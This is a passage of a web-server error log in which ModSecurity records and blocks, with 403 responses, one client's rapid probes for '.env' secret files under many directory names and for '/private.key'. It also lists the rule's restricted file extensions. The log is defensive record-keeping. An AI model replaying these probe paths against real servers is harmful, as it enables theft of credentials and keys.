[Mon Jul 28 20:46:16.510692 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/preview-env/.env&quot;] [unique_id &quot;aIfFeOXeAg5fi4n6U5fNNAAAAAQ&quot;]
[Mon Jul 28 20:46:16.510860 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/preview-env/.env&quot;] [unique_id &quot;aIfFeOXeAg5fi4n6U5fNNAAAAAQ&quot;]
[Mon Jul 28 20:46:16.533203 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /preview/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/preview/.env&quot;] [unique_id &quot;aIfFeOXeAg5fi4n6U5fNNQAAAAQ&quot;]
[Mon Jul 28 20:46:16.533454 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/preview/.env&quot;] [unique_id &quot;aIfFeOXeAg5fi4n6U5fNNQAAAAQ&quot;]
[Mon Jul 28 20:46:16.533644 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/preview/.env&quot;] [unique_id &quot;aIfFeOXeAg5fi4n6U5fNNQAAAAQ&quot;]
[Mon Jul 28 20:46:16.555924 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /price_hawk_client/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/price_hawk_client/.env&quot;] [unique_id &quot;aIfFeOXeAg5fi4n6U5fNNgAAAAQ&quot;]
[Mon Jul 28 20:46:16.556126 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/price_hawk_client/.env&quot;] [unique_id &quot;aIfFeOXeAg5fi4n6U5fNNgAAAAQ&quot;]
[Mon Jul 28 20:46:16.556285 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/price_hawk_client/.env&quot;] [unique_id &quot;aIfFeOXeAg5fi4n6U5fNNgAAAAQ&quot;]
[Mon Jul 28 20:46:16.578515 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /prisma/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prisma/.env&quot;] [unique_id &quot;aIfFeOXeAg5fi4n6U5fNNwAAAAQ&quot;]
[Mon Jul 28 20:46:16.578706 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prisma/.env&quot;] [unique_id &quot;aIfFeOXeAg5fi4n6U5fNNwAAAAQ&quot;]
[Mon Jul 28 20:46:16.578869 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prisma/.env&quot;] [unique_id &quot;aIfFeOXeAg5fi4n6U5fNNwAAAAQ&quot;]
[Mon Jul 28 20:46:16.600925 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private.key&quot;] [unique_id &quot;aIfFeOXeAg5fi4n6U5fNOAAAAAQ&quot;]
[Mon Jul 28 20:46:16.601198 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private.key&quot;] [unique_id &quot;aIfFeOXeAg5fi4n6U5fNOAAAAAQ&quot;]
[Mon Jul 28 20:46:16.601354 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private.key&quot;] [unique_id &quot;aIfFeOXeAg5fi4n6U5fNOAAAAAQ&quot;]
[Mon Jul 28 20:46:16.623518 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /processor/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/processor/.env&quot;] [unique_id &quot;aIfFeOXeAg5fi4n6U5fNOQAAAAQ&quot;]
[Mon Jul 28 20:46:16.623717 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/processor/.env&quot;] [unique_id &quot;aIfFeOXeAg5fi4n6U5fNOQAAAAQ&quot;]
[Mon Jul 28 20:46:16.623896 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/processor/.env&quot;] [unique_id &quot;aIfFeOXeAg5fi4n6U5fNOQAAAAQ&quot;]
[Mon Jul 28 20:46:16.669672 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /prod/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prod/.env&quot;] [unique_id &quot;aIfFeOXeAg5fi4n6U5fNOwAAAAQ&quot;]
[Mon Jul 28 20:46:16.669863 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prod/.env&quot;] [unique_id &quot;aIfFeOXeAg5fi4n6U5fNOwAAAAQ&quot;]
[Mon Jul 28 20:46:16.670030 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prod/.env&quot;] [unique_id &quot;aIfFeOXeAg5fi4n6U5fNOwAAAAQ&quot;]
[Mon Jul 28 20:46:16.692263 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /product/.env.staging&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/product/.env.staging&quot;] [unique_id &quot;aIfFeOXeAg5fi4n6U5fNPAAAAAQ&quot;]
[Mon Jul 28 20:46:16.692455 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/product/.env.staging&quot;] [unique_id &quot;aIfFeOXeAg5fi4n6U5fNPAAAAAQ&quot;]
[Mon Jul 28 20:46:16.692618 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/product/.env.staging&quot;] [unique_id &quot;aIfFeOXeAg5fi4n6U5fNPAAAAAQ&quot;]
[Mon Jul 28 20:46:16.715009 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /projbackend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/projbackend/.env&quot;] [unique_id &quot;aIfFeOXeAg5fi4n6U5fNPQAAAAQ&quot;]
[Mon Jul 28 20:46:16.715225 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/projbackend/.env&quot;] [unique_id &quot;aIfFeOXeAg5fi4n6U5fNPQAAAAQ&quot;]
[Mon Jul 28 20:46:16.715403 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/projbackend/.env&quot;] [unique_id &quot;aIfFeOXeAg5fi4n6U5fNPQAAAAQ&quot;]
[Mon Jul 28 20:46:16.754628 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /project/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/project/.env&quot;] [unique_id &quot;aIfFeOXeAg5fi4n6U5fNPgAAAAQ&quot;]
[Mon Jul 28 20:46:16.754854 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/project/.env&quot;] [unique_id &quot;aIfFeOXeAg5fi4n6U5fNPgAAAAQ&quot;]
[Mon Jul 28 20:46:16.755045 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/project/.env&quot;] [unique_id &quot;aIfFeOXeAg5fi4n6U5fNPgAAAAQ&quot;]
[Mon Jul 28 20:46:16.777366 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /project_root/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/project_root/.env&quot;] [unique_id &quot;aIfFeOXeAg5fi4n6U5fNPwAAAAQ&quot;]
[Mon Jul 28 20:46:16.777591 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/project_root/.env&quot;] [unique_id &quot;aIfFeOXeAg5fi4n6U5fNPwAAAAQ&quot;]
[Mon Jul 28 20:46:16.777761 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/project_root/.env&quot;] [unique_id &quot;aIfFeOXeAg5fi4n6U5fNPwAAAAQ&quot;]
[Mon Jul 28 20:46:16.800152 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /protected/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname 